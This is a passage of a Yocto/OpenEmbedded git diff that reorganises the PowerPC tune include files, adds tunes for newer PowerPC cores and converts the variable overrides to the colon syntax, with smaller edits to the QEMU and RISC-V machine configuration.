TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'fpu-hard', ' -mhard-float', '', d)}"
@@ -29,22 +30,22 @@ TUNEVALID[altivec] = "Altivec"
# Basic tune definitions
AVAILTUNES += "powerpc powerpc-nf powerpcle powerpcle-nf"
-TUNE_FEATURES_tune-powerpc-nf = "m32 fpu-soft bigendian"
-BASE_LIB_tune-powerpc-nf = "lib"
-TUNE_PKGARCH_tune-powerpc-nf = "powerpc-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpc-nf = "powerpc-nf"
-
-TUNE_FEATURES_tune-powerpc = "m32 fpu-hard bigendian"
-BASE_LIB_tune-powerpc = "lib"
-TUNE_PKGARCH_tune-powerpc = "powerpc"
-PACKAGE_EXTRA_ARCHS_tune-powerpc = "powerpc"
-
-TUNE_FEATURES_tune-powerpcle-nf = "m32 fpu-soft"
-BASE_LIB_tune-powerpcle-nf = "lib"
-TUNE_PKGARCH_tune-powerpcle-nf = "powerpcle-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle-nf = "powerpcle-nf"
-
-TUNE_FEATURES_tune-powerpcle = "m32 fpu-hard"
-BASE_LIB_tune-powerpcle = "lib"
-TUNE_PKGARCH_tune-powerpcle = "powerpcle"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle = "powerpcle"
+TUNE_FEATURES:tune-powerpc-nf = "m32 fpu-soft bigendian"
+BASE_LIB:tune-powerpc-nf = "lib"
+TUNE_PKGARCH:tune-powerpc-nf = "powerpc-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpc-nf = "powerpc-nf"
+
+TUNE_FEATURES:tune-powerpc = "m32 fpu-hard bigendian"
+BASE_LIB:tune-powerpc = "lib"
+TUNE_PKGARCH:tune-powerpc = "powerpc"
+PACKAGE_EXTRA_ARCHS:tune-powerpc = "powerpc"
+
+TUNE_FEATURES:tune-powerpcle-nf = "m32 fpu-soft"
+BASE_LIB:tune-powerpcle-nf = "lib"
+TUNE_PKGARCH:tune-powerpcle-nf = "powerpcle-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle-nf = "powerpcle-nf"
+
+TUNE_FEATURES:tune-powerpcle = "m32 fpu-hard"
+BASE_LIB:tune-powerpcle = "lib"
+TUNE_PKGARCH:tune-powerpcle = "powerpcle"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle = "powerpcle"
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc64.inc b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
index 4bc5983087..2533151869 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc64.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
@@ -5,22 +5,19 @@ require conf/machine/include/powerpc/arch-powerpc.inc
TUNEVALID[m64] = "Power ELF64 standard ABI"
TUNECONFLICTS[m64] = "m32 nf"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', ' -m64', '', d)}"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', [ 'm64' ], 'powerpc64', '', d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', [ 'm64' ], 'powerpc64${ENDIAN_SFX}', '', d)}"
# musl only supports elfv2 ABI for ppc64
TUNE_CCARGS .= "${@['', ' -mabi=elfv2']['libc-musl' in d.getVar('OVERRIDES').split(':')]}"
-# user mode qemu doesn't support ppc64
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'qemu-usermode', '', d)}"
-
AVAILTUNES += "powerpc64 powerpc64le"
-TUNE_FEATURES_tune-powerpc64 = "m64 fpu-hard bigendian"
-BASE_LIB_tune-powerpc64 = "lib64"
-TUNE_PKGARCH_tune-powerpc64 = "powerpc64"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64 = "powerpc64"
+TUNE_FEATURES:tune-powerpc64 = "m64 fpu-hard bigendian"
+BASE_LIB:tune-powerpc64 = "lib64"
+TUNE_PKGARCH:tune-powerpc64 = "powerpc64"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64 = "powerpc64"
-TUNE_FEATURES_tune-powerpc64le = "m64 fpu-hard"
-BASE_LIB_tune-powerpc64le = "lib64"
-TUNE_PKGARCH_tune-powerpc64le = "powerpc64le"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64le = "powerpc64le"
+TUNE_FEATURES:tune-powerpc64le = "m64 fpu-hard"
+BASE_LIB:tune-powerpc64le = "lib64"
+TUNE_PKGARCH:tune-powerpc64le = "powerpc64le"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64le = "powerpc64le"
diff --git a/meta/conf/machine/include/powerpc/tune-power5.inc b/meta/conf/machine/include/powerpc/tune-power5.inc
new file mode 100644
index 0000000000..e70e401217
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power5.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp5"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
+
+AVAILTUNES += "ppcp5 ppc64p5"
+TUNE_FEATURES:tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppcp5 = "lib"
+TUNE_PKGARCH:tune-ppcp5 = "ppcp5"
+PACKAGE_EXTRA_ARCHS:tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp5"
+
+TUNE_FEATURES:tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppc64p5 = "lib64"
+TUNE_PKGARCH:tune-ppc64p5 = "ppc64p5"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p5"
+
+# glibc configure options to get power5 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power6.inc b/meta/conf/machine/include/powerpc/tune-power6.inc
new file mode 100644
index 0000000000..eaf89515ca
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power6.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp6"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
+
+AVAILTUNES += "ppcp6 ppc64p6"
+TUNE_FEATURES:tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppcp6 = "lib"
+TUNE_PKGARCH:tune-ppcp6 = "ppcp6"
+PACKAGE_EXTRA_ARCHS:tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp6"
+
+TUNE_FEATURES:tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppc64p6 = "lib64"
+TUNE_PKGARCH:tune-ppc64p6 = "ppc64p6"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p6"
+
+# glibc configure options to get power6 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power7.inc b/meta/conf/machine/include/powerpc/tune-power7.inc
new file mode 100644
index 0000000000..4531ddd85f
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power7.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp7"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
+
+AVAILTUNES += "ppcp7 ppc64p7"
+TUNE_FEATURES:tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppcp7 = "lib"
+TUNE_PKGARCH:tune-ppcp7 = "ppcp7"
+PACKAGE_EXTRA_ARCHS:tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp7"
+
+TUNE_FEATURES:tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppc64p7 = "lib64"
+TUNE_PKGARCH:tune-ppc64p7 = "ppc64p7"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p7"
+
+# glibc configure options to get power7 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power9.inc b/meta/conf/machine/include/powerpc/tune-power9.inc
new file mode 100644
index 0000000000..6744731f8e
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power9.inc
@@ -0,0 +1,31 @@
+DEFAULTTUNE ?= "ppc64p9le"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power9] = "Enable IBM Power9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' -mcpu=power9', '', d)}"
+
+AVAILTUNES += "ppcp9 ppc64p9 ppcp9le ppc64p9le"
+
+TUNE_FEATURES:tune-ppcp9 = "m32 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppcp9 = "lib"
+TUNE_PKGARCH:tune-ppcp9 = "ppcp9"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp9"
+
+TUNE_FEATURES:tune-ppc64p9 = "m64 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppc64p9 = "lib64"
+TUNE_PKGARCH:tune-ppc64p9 = "ppc64p9"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p9"
+
+TUNE_FEATURES:tune-ppcp9le = "m32 fpu-hard power9 altivec"
+BASE_LIB:tune-ppcp9le = "lib"
+TUNE_PKGARCH:tune-ppcp9le = "ppcp9le"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpcle} ppcp9le"
+
+TUNE_FEATURES:tune-ppc64p9le = "m64 fpu-hard power9 altivec"
+BASE_LIB:tune-ppc64p9le = "lib64"
+TUNE_PKGARCH:tune-ppc64p9le = "ppc64p9le"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64le} ppc64p9le"
+
+# glibc configure options to get power9 specific library
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc476.inc b/meta/conf/machine/include/powerpc/tune-ppc476.inc
new file mode 100644
index 0000000000..54152cb941
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc476.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc476"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
+
+AVAILTUNES += "ppc476"
+TUNE_FEATURES:tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
+TUNE_PKGARCH:tune-ppc476 = "ppc476"
+PACKAGE_EXTRA_ARCHS:tune-ppc476 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc476"
+
+# glibc configure options to get 476 specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc603e.inc b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
new file mode 100644
index 0000000000..8beec00f24
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc603e"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
+
+AVAILTUNES += "ppc603e"
+TUNE_FEATURES:tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
+TUNE_PKGARCH:tune-ppc603e = "ppc603e"
+PACKAGE_EXTRA_ARCHS:tune-ppc603e = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc603e"
+
+# glibc configure options to get 603e specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', '-with-cpu=603e', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc7400.inc b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
new file mode 100644
index 0000000000..1e2c9fc2ce
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc7400"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
+
+AVAILTUNES += "ppc7400"
+TUNE_FEATURES:tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
+TUNE_PKGARCH:tune-ppc7400 = "ppc7400"
+PACKAGE_EXTRA_ARCHS:tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc7400"
+
+# glibc configure options to get 7400 specific library (for sqrt)
+#GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', '--with-cpu=power4', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c2.inc b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
new file mode 100644
index 0000000000..90171c76d5
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "ppce300c2"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
+
+AVAILTUNES += "ppce300c2"
+TUNE_FEATURES:tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
+TUNE_PKGARCH:tune-ppce300c2 = "ppce300c2"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c3.inc b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
new file mode 100644
index 0000000000..b74b6ad976
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
@@ -0,0 +1,23 @@
+DEFAULTTUNE ?= "ppce300c3"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+AVAILTUNES += "ppce300c3 ppce300c3-nf"
+
+# hard-float
+TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
+TUNE_FEATURES:tune-ppce300c3 = "${TUNE_FEATURES:tune-powerpc} ppce300c3"
+TUNE_PKGARCH:tune-ppce300c3 = "ppce300c3"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce300c3"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
+
+# glibc config options to make use of e300c3 (603e) specific sqrt/sqrtf routines
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', '--with-cpu=e300c3', '', d)}"
+
+# soft-float
+TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
+TUNE_FEATURES:tune-ppce300c3-nf = "${TUNE_FEATURES:tune-powerpc-nf} ppce300c3-nf"
+TUNE_PKGARCH:tune-ppce300c3-nf = "ppce300c3-nf"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c3-nf"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
+
diff --git a/meta/conf/machine/include/tune-ppce500.inc b/meta/conf/machine/include/powerpc/tune-ppce500.inc
index abf81b90c4..aceab321b7 100644
--- a/meta/conf/machine/include/tune-ppce500.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500"
-TUNE_FEATURES_tune-ppce500 = "m32 spe ppce500 bigendian"
-TUNE_PKGARCH_tune-ppce500 = "ppce500"
-PACKAGE_EXTRA_ARCHS_tune-ppce500 = "ppce500"
+TUNE_FEATURES:tune-ppce500 = "m32 spe ppce500 bigendian"
+TUNE_PKGARCH:tune-ppce500 = "ppce500"
+PACKAGE_EXTRA_ARCHS:tune-ppce500 = "ppce500"
diff --git a/meta/conf/machine/include/tune-ppce500mc.inc b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
index 9f8a172804..e3524a10ca 100644
--- a/meta/conf/machine/include/tune-ppce500mc.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
@@ -6,9 +6,9 @@ TUNEVALID[ppce500mc] = "Enable ppce500mc specific processor optimizations"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', ' -mcpu=e500mc', '', d)}"
AVAILTUNES += "ppce500mc"
-TUNE_FEATURES_tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
-TUNE_PKGARCH_tune-ppce500mc = "ppce500mc"
-PACKAGE_EXTRA_ARCHS_tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce500mc"
+TUNE_FEATURES:tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
+TUNE_PKGARCH:tune-ppce500mc = "ppce500mc"
+PACKAGE_EXTRA_ARCHS:tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce500mc"
# glibc configure options to get e500mc specific library (for sqrt)
GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', '-with-cpu=e500mc', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce500v2.inc b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
index f6c7c17623..461164d818 100644
--- a/meta/conf/machine/include/tune-ppce500v2.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500v2"
-TUNE_FEATURES_tune-ppce500v2 = "m32 ppce500v2 bigendian"
-TUNE_PKGARCH_tune-ppce500v2 = "ppce500v2"
-PACKAGE_EXTRA_ARCHS_tune-ppce500v2 = "ppce500v2"
+TUNE_FEATURES:tune-ppce500v2 = "m32 ppce500v2 bigendian"
+TUNE_PKGARCH:tune-ppce500v2 = "ppce500v2"
+PACKAGE_EXTRA_ARCHS:tune-ppce500v2 = "ppce500v2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce5500.inc b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
new file mode 100644
index 0000000000..2cf7b1737c
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
@@ -0,0 +1,23 @@
+DEFAULTTUNE ?= "ppce5500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
+
+AVAILTUNES += "ppce5500 ppc64e5500"
+TUNE_FEATURES:tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppce5500 = "lib"
+TUNE_PKGARCH:tune-ppce5500 = "ppce5500"
+PACKAGE_EXTRA_ARCHS:tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce5500"
+
+TUNE_FEATURES:tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppc64e5500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e5500 = "ppc64e5500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e5500"
+
+# glibc configure options to get e5500 specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'e5500', '--with-cpu=e5500', '', d)}"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce6500.inc b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
new file mode 100644
index 0000000000..e78de350ad
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppce6500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
+
+AVAILTUNES += "ppce6500 ppc64e6500"
+TUNE_FEATURES:tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppce6500 = "lib"
+TUNE_PKGARCH:tune-ppce6500 = "ppce6500"
+PACKAGE_EXTRA_ARCHS:tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce6500"
+
+TUNE_FEATURES:tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppc64e6500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e6500 = "ppc64e6500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e6500"
+
+# glibc configure options to get e6500 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/qemu.inc b/meta/conf/machine/include/qemu.inc
index 5050e41066..0d71bcbbad 100644
--- a/meta/conf/machine/include/qemu.inc
+++ b/meta/conf/machine/include/qemu.inc
@@ -3,28 +3,29 @@ PREFERRED_PROVIDER_virtual/egl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
XSERVER ?= "xserver-xorg \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-swrast xserver-xorg-extension-glx', '', d)} \
xf86-video-fbdev \
"
-MACHINE_FEATURES = "alsa bluetooth usbgadget screen"
+MACHINE_FEATURES = "alsa bluetooth usbgadget screen vfat"
MACHINEOVERRIDES =. "qemuall:"
IMAGE_FSTYPES += "tar.bz2 ext4"
# Don't include kernels in standard images
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base = ""
+RDEPENDS:${KERNEL_PACKAGE_NAME}-base = ""
# Use a common kernel recipe for all QEMU machines
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-EXTRA_IMAGEDEPENDS += "qemu-native qemu-helper-native"
+EXTRA_IMAGEDEPENDS += "qemu-system-native qemu-helper-native:do_addto_recipe_sysroot"
# Provide the nfs server kernel module for all qemu images
-KERNEL_FEATURES_append_pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
-KERNEL_FEATURES_append_pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
IMAGE_CLASSES += "qemuboot"
diff --git a/meta/conf/machine/include/qemuboot-mips.inc b/meta/conf/machine/include/qemuboot-mips.inc
deleted file mode 100644
index 978820a2e0..0000000000
--- a/meta/conf/machine/include/qemuboot-mips.inc
+++ /dev/null
@@ -1,7 +0,0 @@
-# For runqemu
-IMAGE_CLASSES += "qemuboot"
-QB_MACHINE = "-machine malta"
-QB_KERNEL_CMDLINE_APPEND = "console=ttyS0 console=tty"
-QB_OPT_APPEND = "-show-cursor -usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
diff --git a/meta/conf/machine/include/qemuboot-x86.inc b/meta/conf/machine/include/qemuboot-x86.inc
deleted file mode 100644
index 495418fa04..0000000000
--- a/meta/conf/machine/include/qemuboot-x86.inc
+++ /dev/null
@@ -1,16 +0,0 @@
-# For runqemu
-IMAGE_CLASSES += "qemuboot"
-QB_CPU_x86 = "-cpu core2duo"
-QB_CPU_KVM_x86 = "-cpu core2duo"
-
-QB_CPU_x86-64 = "-cpu core2duo"
-QB_CPU_KVM_x86-64 = "-cpu core2duo"
-
-QB_AUDIO_DRV = "alsa"
-QB_AUDIO_OPT = "-soundhw ac97,es1370"
-QB_KERNEL_CMDLINE_APPEND = "vga=0 uvesafb.mode_option=${UVESA_MODE} oprofile.timer=1 uvesafb.task_timeout=-1"
-QB_OPT_APPEND = "-show-cursor -usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
-
-UVESA_MODE ?= "640x480-32"
diff --git a/meta/conf/machine/include/riscv/arch-riscv.inc b/meta/conf/machine/include/riscv/arch-riscv.inc
index 19f8f3e211..e5611a12a6 100644
--- a/meta/conf/machine/include/riscv/arch-riscv.inc
+++ b/meta/conf/machine/include/riscv/arch-riscv.inc
@@ -2,9 +2,12 @@
DEFAULTTUNE ?= "riscv64"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
-TUNE_CCARGS .= ""
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nf', ' -mabi=lp64', ' ', d)}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32nf', ' -mabi=ilp32', ' ', d)}"
-# QEMU usermode fails with invalid instruction error (For riscv32)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32', ' qemu-usermode', '', d)}"
+# Fix: ld: unrecognized option '--hash-style=sysv'
+LINKER_HASH_STYLE:libc-newlib = ""
+# Fix: ld: unrecognized option '--hash-style=gnu'
